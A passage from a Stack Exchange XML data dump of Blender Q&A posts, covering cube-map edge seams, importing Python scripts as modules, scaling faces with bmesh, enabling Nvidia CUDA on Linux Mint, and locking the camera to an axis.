&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvGt0.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; the button (&lt;em&gt;menu item&lt;/em&gt; in this case) and select &lt;em&gt;Change Shortcut&lt;/em&gt; will do the trick. If you want to reset it, original shortcut (default value) is &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; for &lt;strong&gt;all merge methods&lt;/strong&gt; (menu items). For this reason you could also disable/remove unnecessary shortcuts in this dialog to prevent that the dialog appears:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oh1e0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mJQPg.gif&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;em&gt;Merge At Center (without Dialog)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another option is to set the shortcut via &lt;strong&gt;User Preferences&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;). Select the &lt;em&gt;Input Tab&lt;/em&gt; and &lt;em&gt;type: merge&lt;/em&gt; in the search area or simply unfold &lt;em&gt;3D View &amp;gt; Mesh &amp;gt; Merge&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYO9z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2020-06-29T14:57:50.207" LastActivityDate="2020-06-29T14:57:50.207" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31094" PostTypeId="1" AcceptedAnswerId="31100" CreationDate="2015-05-19T10:08:24.133" Score="6" ViewCount="1138" Body="&lt;p&gt;I want to create an environment texture from a cube map, so I create a cube then map the textures like this: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/b6oIo.jpg&quot; alt=&quot;Cube map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But inside the cube, where I put the camera, I can see a black line at the edge's position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1eG5h.jpg&quot; alt=&quot;Edge line&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After render, this line is visible at final result too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRg1h.jpg&quot; alt=&quot;The line at the result texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;volvis told me to change mapping mode, but I use Cycles Render, so I can not find where is mapping node setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PgY9.png&quot; alt=&quot;Texture setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5220" LastEditorUserId="5220" LastEditDate="2015-05-20T06:07:47.887" LastActivityDate="2015-05-20T06:07:47.887" Title="Edge line appear in render result" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31095" PostTypeId="5" CreationDate="2015-05-19T10:32:05.103" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-05-19T10:32:05.103" LastActivityDate="2015-05-19T10:32:05.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31096" PostTypeId="4" CreationDate="2015-05-19T10:32:05.103" Score="0" Body="Questions considering the process of reduction of noise in final renders and/or texture baking." OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-05-19T14:41:00.813" LastActivityDate="2015-05-19T14:41:00.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31097" PostTypeId="2" ParentId="31075" CreationDate="2015-05-19T10:45:59.793" Score="10" Body="&lt;p&gt;Using OSL you can do this with one script node, this script was originally a renderman shader. The drawback with OSL is no GPU support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w4h6e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script can be &lt;a href=&quot;https://raw.githubusercontent.com/sambler/osl-shaders/master/wood/DWParquetTile/DWParqueteTile.osl&quot; rel=&quot;noreferrer&quot;&gt;downloaded here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the settings used in the sample -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l8jcP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-19T10:45:59.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31098" PostTypeId="1" CreationDate="2015-05-19T10:49:19.747" Score="3" ViewCount="785" Body="&lt;p&gt;I have two files in a directory: &quot;render.py&quot; and &quot;functions.py&quot;. From blender I use the text editor to run the &quot;render.py&quot; but the question is how to import &quot;functions.py&quot; to the file. This code fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I import in blender so that i can use functions from &quot;functions.py&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="16877" LastActivityDate="2015-05-19T12:54:32.910" Title="Import script as a module" Tags="&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31099" PostTypeId="2" ParentId="31098" CreationDate="2015-05-19T10:53:08.663" Score="2" Body="&lt;h3&gt;As a textblock&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to add &lt;code&gt;functions.py&lt;/code&gt; as a Text block. Make sure the Text block has a &lt;code&gt;.py&lt;/code&gt; extension and you can import it directly using &lt;code&gt;import functions&lt;/code&gt;. &lt;a href=&quot;https://blender.stackexchange.com/questions/5187/python-is-it-possible-to-import-another-text-block&quot;&gt;Described here: python-is-it-possible-to-import-another-text-block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;As a module&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Otherwise, add &lt;code&gt;functions.py&lt;/code&gt; to &lt;code&gt;scripts/modules/some_name/functions.py&lt;/code&gt;, then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from some_name import functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;A slight hack&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There's probably an elegant way to do this, but if your stuck... &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The render.py could load &lt;code&gt;functions.py&lt;/code&gt; from a given path into a text block named the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# render.py #&#xA;&#xA;import bpy   &#xA;&#xA;fp = '/home/zeffii/Desktop/functions.py'&#xA;&#xA;def make_functions_local(fp):&#xA;    texts = bpy.data.texts&#xA;    t = texts.get('functions.py')&#xA;    if not t:&#xA;        t = texts.new('functions.py')&#xA;&#xA;    with open(fp) as module_file:&#xA;        t.from_string(module_file.read()) &#xA;&#xA;# trigger it&#xA;make_functions_local(fp)&#xA;&#xA;import functions&#xA;&#xA;# your stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-19T12:54:32.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31100" PostTypeId="2" ParentId="31094" CreationDate="2015-05-19T11:18:58.097" Score="7" Body="&lt;p&gt;I wager that this is caused by the image mapping. Textures are set to repeat by default, and the dark line looks like the bottom part of the texture bleeding to view. Try changing the image mapping mode to Extend or similar and see if that works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J8Cb6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2015-05-19T11:18:58.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31101" PostTypeId="2" ParentId="31043" CreationDate="2015-05-19T12:49:08.160" Score="0" Body="&lt;p&gt;I found the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change to &quot;walk mode&quot; , which turns camera to a FPS game - like movement style. It said I couldn't change because my cam was locked to an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, it was locked to the camera, so no matter where I centered the view, anything i did made it go towards that camera. So when using the wheel, it didn't go forward... but to the side (??) : It was moving towards the camera to which the view was locked to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funny. I did that while trying to move the camera together with the view... forgot to turn it off again :-D&lt;/p&gt;&#xA;" OwnerUserId="14131" LastActivityDate="2015-05-19T12:49:08.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31102" PostTypeId="2" ParentId="30519" CreationDate="2015-05-19T13:50:44.253" Score="0" Body="&lt;p&gt;I might be misunderstanding, but you might be able to do a few simple manipulations to get the outline.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Render with transparent film&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOCWy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use this node setup to get the edges of the meshes (the output of the 'greater than' thresholding node are your edges):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Osbtc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add the edges to the render:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzTXi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-05-19T13:50:44.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31103" PostTypeId="2" ParentId="30995" CreationDate="2015-05-19T14:13:13.050" Score="2" Body="&lt;p&gt;Figured out how to use &lt;code&gt;bmesh.ops.scale()&lt;/code&gt; to scale a Face the same way as in Edit Mode. As it might be useful to others I thought I'd post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we have to create a translation matrix &lt;strong&gt;T&lt;/strong&gt; that maps the centroid of our Face of interest to the origin. This part is straightforward — assuming the necessary modules are loaded and we have a reference to our Face of interest, e.g. like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;k = 2&#xA;face = bm.faces[k]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the translation matrix &lt;strong&gt;T&lt;/strong&gt; can be created as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;T = mathutils.Matrix.Translation(-face.calc_center_median())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the minus — we're mapping &lt;em&gt;to the origin&lt;/em&gt;, not the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we have to create a rotation matrix &lt;strong&gt;R&lt;/strong&gt; that maps the normal &lt;strong&gt;n&lt;/strong&gt; of our Face of interest to the &lt;strong&gt;z&lt;/strong&gt;-axis. In order to create &lt;strong&gt;R&lt;/strong&gt;, we require the axis of rotation. This is simply the cross-product between &lt;strong&gt;n&lt;/strong&gt; and &lt;strong&gt;z&lt;/strong&gt; (in this order). The angle between the two vectors can be determined in various ways, e.g. using the &lt;code&gt;mathutils.Vector.angle()&lt;/code&gt; function or &lt;code&gt;acos(n.dot(z))&lt;/code&gt;, after all both vectors are unit vectors. Note that a positive angle refers to counter-clockwise rotation in Blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n = face.normal&#xA;z = mathutils.Vector((0,0,1))&#xA;axis = n.cross(z)&#xA;angle = n.angle(z)&#xA;&#xA;R = mathutils.Matrix.Rotation(angle, 4, axis)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, we have to combine &lt;strong&gt;T&lt;/strong&gt; and &lt;strong&gt;R&lt;/strong&gt;. The order is important — first translation, then rotation. The example below scales the Face by 60% just like in Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.ops.scale(bm, vec=mathutils.Vector((.6,.6,1)), space=R*T, verts=face.verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="379" LastActivityDate="2015-05-19T14:13:13.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31104" PostTypeId="2" ParentId="31045" CreationDate="2015-05-19T14:45:00.803" Score="0" Body="&lt;p&gt;I've had trouble with some versions of the Nvidia drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get GPU rendering to work with my GTX 780 on Mint 17 (Qiana) I've had to disable nvidia-331 driver updates through the Update Manager, and keep it at version 331.38-0ubuntu7&lt;/p&gt;&#xA;" OwnerUserId="9723" LastActivityDate="2015-05-19T14:45:00.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31105" PostTypeId="2" ParentId="30933" CreationDate="2015-05-19T15:07:26.813" Score="1" Body="&lt;p&gt;I'm fairly new to Blender and may not be much help; I'd leave a comment, but don't have that privilege yet :/ You'd think giving comment approval before answers... oh well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I think the cup would have to be attached to the cage, like in the real world.  The pins of the cage mesh would have to be inserted in the cup with holes in the cup axis to keep the cup from falling, not joined, like the real thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would put the holes in the side of the cup with a reinforced thickness so it would have enough geometry that it would lay on top of the wire, and the wire wouldn't pass through this.  I've had to do that with objects standing on a plane, when the plane had no thickness even though it was a rigid body.  I wouldn't parent the cup to the frame either, the frame and the cup would have to affect each other, and parenting might/would prevent this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow the cup to 'hang' in the wire mesh with physics.  The other consideration would be based on the geometry of the cup, with a weighted cup, such that gravity would allow it to spin around the wire axles and hold the cup in the required position only stopped by the tab against the wire; in other words, bottom heavy.  That way, as in the real world, when it rotated to the top, the cup would stay properly oriented and it would contain the ball, and the tab would stop it, again, like the real thing.  I think you can also play with the center of gravity, if the cup is not perfectly shaped to hang like you want.  I think the cup would have to be a rigid body, as I'm sure the wire frame would be a rigid body, that way the cup would hang on the wire frame and not pass through it. You might also have to mess around with the material of the ball, so that it wouldn't have the same weight as a solid ball. My experience is they're more like ping pong balls, or small enough not to change the overall behavior of the cup.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="14243" LastEditDate="2015-05-19T15:22:33.790" LastActivityDate="2015-05-19T15:22:33.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31106" PostTypeId="1" CreationDate="2015-05-19T15:26:13.623" Score="6" ViewCount="575" Body="&lt;p&gt;I have a python application which creates 3d models. It is already able to export these models as FBX, DAE, OBJ etc. In the vast majority of cases, the next step in the pipeline is touching up the model inside blender, which means I then have to import the models in blender from the said export formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some blender-specific features aren't possible to express in these file formats. The obvious idea to solve this would be exporting directly to a blend file instead of to a third-part unrelated file format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Researching ways to do this, I've found &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&quot;&gt;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&lt;/a&gt; which seems like one approach. However, this seems to require a custom-built blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also found the binary specifications for the file format, notably &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Source/Data_Structures/DNAStructs&quot;&gt;http://wiki.blender.org/index.php/Dev:Source/Data_Structures/DNAStructs&lt;/a&gt; and (some other links which I'm not allowed to include in the post atm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... so obviously it'd be possible (albeit cumbersome) to write an export function with a bit of trial an error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, before I do this: Has this already been done? Is there an existing library/API out there for producing blend files outside blender?&lt;/p&gt;&#xA;" OwnerUserId="14460" LastActivityDate="2015-06-29T12:00:28.453" Title="Is there a non-blender API for producing blend files?" Tags="&lt;python&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31107" PostTypeId="1" AcceptedAnswerId="31108" CreationDate="2015-05-19T15:36:59.913" Score="7" ViewCount="3300" Body="&lt;p&gt;I`m working on a model for 3d printing. I wanted to make it hollow, so i made a duplicate with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and wanted to scale it inwards with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;...&#xA;I expected something like in this question explained:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/26635/whats-the-difference-between-pressing-s-and-alts&quot;&gt;Alt+S and S scaling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scaling with &lt;kbd&gt;S&lt;/kbd&gt; I get something like that&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xhkqf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; I get this and cannot scale :(&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m0qHh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scaling only with &lt;kbd&gt;S&lt;/kbd&gt; I don't get an evenly thick frame... so I don't know how to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance and happy modeling :)&lt;/p&gt;&#xA;" OwnerUserId="13706" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2017-03-25T23:22:13.157" Title="Alt+S doesn`t work as expected" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31108" PostTypeId="2" ParentId="31107" CreationDate="2015-05-19T15:52:41.837" Score="5" Body="&lt;p&gt;You are only able to do the &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; command while your in edit mode. From what I see in the second picture you posted, your'er in object mode. And for future key commands that don't work just go to the wiki for them, like at the bottom of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/3D_interaction/Transformations/Basics/Scale&quot; rel=&quot;nofollow noreferrer&quot;&gt;this  page&lt;/a&gt; &#xA;it shows the &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; command you were asking about, and that it needs to be used in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="11041" LastEditorUserId="2517" LastEditDate="2017-03-25T23:22:13.157" LastActivityDate="2017-03-25T23:22:13.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31109" PostTypeId="2" ParentId="31107" CreationDate="2015-05-19T15:58:48.230" Score="1" Body="&lt;p&gt;I would suggest using Solidify modifier, adding 2 more materials to the rim and the internal faces, then apply the modifier, then select the material of outer mesh and hide it and use smooth sculpt brush to smooth the areas ears eyes and the mouth that are poking out through the outer mesh.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-19T15:58:48.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31110" PostTypeId="1" CreationDate="2015-05-19T16:49:37.233" Score="1" ViewCount="6061" Body="&lt;p&gt;How do I lock the camera on an axis in Blender? For example I want the camera to not rotate at all, but only slide perfectly parallel to X or Y axis. This way I can check if one of my objects is centred or not to the parent object.&lt;/p&gt;&#xA;" OwnerUserId="14462" LastActivityDate="2015-05-19T18:58:16.727" Title="Lock camera on an axis?" Tags="&lt;camera&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31111" PostTypeId="2" ParentId="31045" CreationDate="2015-05-19T16:55:14.037" Score="9" Body="&lt;p&gt;You will need to install the package &lt;code&gt;nvidia-modprobe&lt;/code&gt; which (I believe) allows Blender to detect your nvidia CUDA device. This is applicable to Mint, Debian and Ubuntu, I don't know about other distributions of Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install nvidia-modprobe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also install &lt;code&gt;nvidia-modprobe&lt;/code&gt; via your favourate package manager.&#xA;&lt;em&gt;Please&lt;/em&gt; use the Nvidia drivers from the standard repo, the drivers from their website are not auto updated. Doing &lt;code&gt;sudo blender&lt;/code&gt; for one feature is non-optimal :) and means that all your .blend files and exports will be owned by root. This is inconventient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Blender+Nvidia+CUDA requires &lt;code&gt;nvidia-cuda-toolkit&lt;/code&gt;, &lt;code&gt;nvidia-modprobe&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; the proprietary drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Edit:&lt;/b&gt; Mint doesn't have a nvidia-modprobe package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the nvidia-modprobe coresponding to your nvidia driver from &lt;a href=&quot;ftp://download.nvidia.com/XFree86/nvidia-modprobe/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; then extract it.&#xA;Use a terminal to navigate (use &lt;code&gt;cd [dir]&lt;/code&gt; to navigate) to the folder where you extracted the file. Run &lt;code&gt;make&lt;/code&gt; and then run &lt;code&gt;sudo make install&lt;/code&gt; to install nvidia-modprobe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use this to download and install the Ubuntu nvidia-modprobe package (not recomended):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -c &quot;http://mirrors.kernel.org/ubuntu/pool/multiverse/n/nvidia-modprobe/nvidia-modprobe_340.24-1~ubuntu14.04.1_i386.deb&quot; -o &quot;nvidia-modprobe.deb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg --force-install nvidia-modprobe.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to reboot afterwards.&#xA;This should install the right package. You might want to submit a bug report to the Mint17 people for not including nvidia-modprobe. &lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="14456" LastEditDate="2015-05-20T05:45:52.877" LastActivityDate="2015-05-20T05:45:52.877" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31112" PostTypeId="2" ParentId="31110" CreationDate="2015-05-19T17:22:50.267" Score="4" Body="&lt;p&gt;To align the viewport to a specific axis you can use the Numpad:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Y&lt;/code&gt; axis - &lt;kbd&gt;Numpad 1&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;X&lt;/code&gt; axis - &lt;kbd&gt;Numpad 3&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Z&lt;/code&gt; axis - &lt;kbd&gt;Numpad 7&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;kbd&gt;Ctrl&lt;/kbd&gt; key in conjunction with these keys to invert the direction you are looking along the axis. To move along a certain axis while preserving your viewport orientation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To move along the &lt;code&gt;Z&lt;/code&gt; axis - hold &lt;kbd&gt;Shift&lt;/kbd&gt; while scrolling.&lt;/li&gt;&#xA;&lt;li&gt;To move along the &lt;code&gt;X&lt;/code&gt; or &lt;code&gt;Y&lt;/code&gt; axis - hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; while scrolling.&lt;/li&gt;&#xA;&lt;li&gt;To zoom along the &lt;code&gt;X&lt;/code&gt; or &lt;code&gt;Y&lt;/code&gt; axis - scroll.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-05-19T18:58:16.727" LastActivityDate="2015-05-19T18:58:16.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31113" PostTypeId="2" ParentId="31110" CreationDate="2015-05-19T17:27:01.440" Score="2" Body="&lt;p&gt;You can lock the rotation of your camera by locking the rotation axes in the transform panel.&lt;/p&gt;&#xA;&lt;p&gt;For moving your camera on a local axe you can press 'G' and 'X' twice to move on the local X axe of your camera&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QeAD.jpg&quot; alt=&quot;rotation lock&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="14438" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-19T17:27:01.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31114" PostTypeId="2" ParentId="15198" CreationDate="2015-05-19T17:31:59.403" Score="25" Body="&lt;p&gt;The fastest way I know to delete all the animations of an object:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select object&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Spacebar&lt;/kbd&gt; or &lt;kbd&gt;F3&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Type &amp;quot;Remove anim&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;The menu item &amp;quot;Remove Animation&amp;quot; will appear.&lt;/li&gt;&#xA;&lt;li&gt;Using keyboard, select that menu item and press Enter or&#xA;Return.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;V2.8+ : Alternatively after selecting the objects, go to &lt;em&gt;Object &amp;gt; Animation &amp;gt; Clear Keyframes&lt;/em&gt;, and click again on the prompt asking you to &lt;em&gt;Remove Animation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I do this often. I wish I knew an even faster way. This way, you only need one mouse click, to select the object.&lt;/p&gt;&#xA;" OwnerUserId="14463" LastEditorUserId="86891" LastEditDate="2021-01-18T07:37:39.093" LastActivityDate="2021-01-18T07:37:39.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31115" PostTypeId="1" CreationDate="2015-05-19T19:10:08.363" Score="2" ViewCount="327" Body="&lt;p&gt;I am making an simple 10sec background animation for an intro video for a website using Blender's particle emitter. The particles are rotating and collisions are turned on and I've used a slight brownian force on the particles to give them a bit of motion.&lt;br&gt;&#xA;The scene is simply a shot of the particles using depth of field for visual effect. I would like to loop the 10 sec video for continuous play. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, I am trying to make the transition of the loop seamless. I am thinking of using a cross or gamma cross effect to make the transition appear seamless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way for to achieve what I'm after, or will this approach even work? &lt;/p&gt;&#xA;" OwnerUserId="14466" LastEditorUserId="2217" LastEditDate="2015-05-19T21:52:49.203" LastActivityDate="2015-05-19T21:52:49.203" Title="Looping Video Question" Tags="&lt;particles&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-19T21:53:28.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="31118" PostTypeId="2" ParentId="31115" CreationDate="2015-05-19T19:50:37.733" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If your video sequence has transparency such a png, then the video sequence editor VSE, can layer the video with alpha transparency setting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is always the simple fade to black and start over with alpha transparency.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The particles themselves can fade to black in a more random fashion with the particle info node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDB5x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-19T19:50:37.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
